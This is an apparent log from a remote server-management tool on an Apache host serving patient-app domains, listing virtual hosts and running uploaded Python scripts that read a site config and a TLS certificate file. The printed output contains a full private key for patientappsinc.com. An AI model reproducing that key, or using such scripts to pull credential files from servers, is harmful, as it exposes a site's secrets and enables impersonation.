         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:01:42: 

PUT: /tmp/pkp680337

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientappsinc_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:01:42: 

chmod 755 /tmp/pkp680337; /tmp/pkp680337; rm /tmp/pkp680337

2025-11-10 06:01:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf	1906
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>







2025-11-10 06:01:42: 

PUT: /tmp/pkp177892

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:01:42: 

chmod 755 /tmp/pkp177892; /tmp/pkp177892; rm /tmp/pkp177892

2025-11-10 06:01:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt	5434
5d:62:50:20:c9:43:cd:a6:3f:19:21:b2:8a:f4:5b:ea

-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgISBut27qscMTzTMsDHjtTdnn0zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMzEwWhcNMjYwMjA4MDUwMzA5WjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC32Pbmw4oMBOlkoMcPN8R2SLzmI3u7fY+64O+aTUC/VVFwQ3R5X13oXsZh
nNUxRi+XnA2WomSxFZkA97+tv3oZszFsLoTbcDLGIJ0AR23MQwTkY0VuQY/9KM55
tyzRASUq3jaaCfVNDNJUuaBhKkOfa3kknZOHakVWJaqTJgAXviD+YT+L+Vja10Fx
2DjyJBzc9VAfRkvfC2mt9/nJ6D7wxirJSuja9FJoJ/Pofrix3Ov5fNzbz2MnejVN
sbebO39nOtw6jLVI4j/IuKK8/aWcHlH+2OKY10MmUNxKEfJZ/Pq9weC3Ti+Ho4bv
opF4xwyCxVZDcTs298/qlKDs991pAgMBAAGjggJcMIICWDAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFIwLwPVZMwMrsEvEZp9s2VgjBZFgMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wVwYDVR0RBFAwToIRKi5wYXRpZW50YXBwcy5j
b22CFCoucGF0aWVudGFwcHNpbmMuY29tgg9wYXRpZW50YXBwcy5jb22CEnBhdGll
bnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzUyLmNybDCCAQQGCisGAQQB1nkC
BAIEgfUEgfIA8AB2AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
mmxbGZUAAAQDAEcwRQIhAKL8OfPcSsScBMUQHncrj97fMbwW0eyFYlUHyCbouK3o
AiAoj9E6YxZmn3gSCGHG2+w+zu6Ng6Fnj0K3Ll5pOV+lqgB2AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmmxbGccAAAQDAEcwRQIhAJCXMDvKTspb
K5XiXzOb/tjIfmFJsNT3es1t2udXhgMZAiA6HOrj5iUbk4vKJEGkQh31H80TXhYS
c5ZZByeKRycU6jANBgkqhkiG9w0BAQsFAAOCAQEA06PufTRNhl+7FyMvgXETLdCc
NSn/eBYtP0QHw2ME5nEWBLVE5PBfe+qAn8yrIZSRSDMnpkhXYESoEJkZ6Ib4HL7r
B8WsbIPGw3OBnK6qP8MtLKsQXhYy922chkppd3FMhLNBX33Bj10qoi9LT/yxhH3S
IXS62MR6SO/O7/qZEg06Q5T2SfZHcq+KIM+1PSIa0WYSL3VpLtSbg/6mDZnzdIGK
yE08G+uqIhrxam8T2ifacCufp+d0aOTAoB2orxQbSICd4ZIYiQfONOYSvBHlW4WP
XlHRMkXPmgbaENpAWXHtP7Yv27DMxMhU595ZPLx6anarixNVIsYkdggOlm46MA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC32Pbmw4oMBOlk
oMcPN8R2SLzmI3u7fY+64O+aTUC/VVFwQ3R5X13oXsZhnNUxRi+XnA2WomSxFZkA
97+tv3oZszFsLoTbcDLGIJ0AR23MQwTkY0VuQY/9KM55tyzRASUq3jaaCfVNDNJU
uaBhKkOfa3kknZOHakVWJaqTJgAXviD+YT+L+Vja10Fx2DjyJBzc9VAfRkvfC2mt
9/nJ6D7wxirJSuja9FJoJ/Pofrix3Ov5fNzbz2MnejVNsbebO39nOtw6jLVI4j/I
uKK8/aWcHlH+2OKY10MmUNxKEfJZ/Pq9weC3Ti+Ho4bvopF4xwyCxVZDcTs298/q
lKDs991pAgMBAAECggEBAKSagC0Kg+3Q8/phrPgmESNqap6OxHiQqgBC5qO7aS4l
wF2IN5930Ed9m5bH6WVNlsziLpRg31BhqvTf3OE+X57k/moCmHc0VHFpv8gBLABH
PPkTHJXj43xhbcQySdDzeoiQHkj6g4Mx6Jts+3gjdBonCnbLEsyaTGweG0PWMR0P
XDWQCCog/s3zGPvNEvlbHLHM94laAZZYdUa+h7MeqPiADFEdd4dxFCFgEAhzFVN7
sJYCSWhhS8MVpXnz1pe5ECFCKS6MRKh7yej3I15ospk96ZgxbefojqiOHNL51pV/
DHUW2gOLVscouE6pbbxGqkwWnSbrbv0AJe/0G8QRjYECgYEA3psNNwK9r5IHx0lF
0GhVmCbrvi2zDIGx1qLCk797VM5LOija6jAdcOuYsL4ENbx4tgviZ4Rhgiyev85j
ZZGfY55LiCJAL8amvXybJsQTRU+j0+dU9bpLMtDDn7W5K5l5WCc9bs62CRy+ofM7
4VtJx9KNC4L0TMgEVKg9Ig9pBJkCgYEA021x13Y6Sqdv54ySrOuGnj0VLIFt/kYD
Qbb1RW8mP7LUetmyWwZ5co8EoEfHcWd+U5RaS9SNnjnzhsanqBIi54MRD23TnMpB
0OMBNz3e0IVMWgBy4Q2e1bJeTJu3lniW7Yu451Q+AMo+D4xk9WGhl08ey1qU+tth
gAyT9RkxUVECgYEAlmBH3RGM8j3D42wsLU1OBSrFtgNJIPm8GTJ6HzULK47wYqmW
uP0n5lBBJaQ3U9Wt9cyxdRyIgleCJjBWFRb6hWE5xQzeL2gS246BgP6Txg62rT9o
tVbT1dARVqJ8JGfZASQA7AnYDu/MF7soiGQSw1oIze34+qVjx4yfP5MJboECgYB5
5Od1aVxCHjaOMKV/vGpoYJ8MgbKAnqzR/kF6PpK2tst56HjDsf/i5EGuhrOd1iUm
2qkUfv8G8jJMyctvQsWM5Cu50X/nLVS0savJxYnofnF+kjOpPMkOOz/SuxQlVHDv
k1aPSCpXGkKdhDvQnPEk4yDF7PtnhYO454eGD3g3gQKBgC0QdggmI5LLZvlnFP6/
F3kcR8m/RJZRt/7UBi1qRBN647fOilP5OTcttMYY1N4EGPm6WSoQXC8wE1+ZKQPE
lARaXVjz4z8og+1WSa3jZHW7SSayDM7ZaqQHOLAk51A0Na+jGmliDF9rLVQSccbn
Z1vA9j6nUUO+FppnkgBpb9nQ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
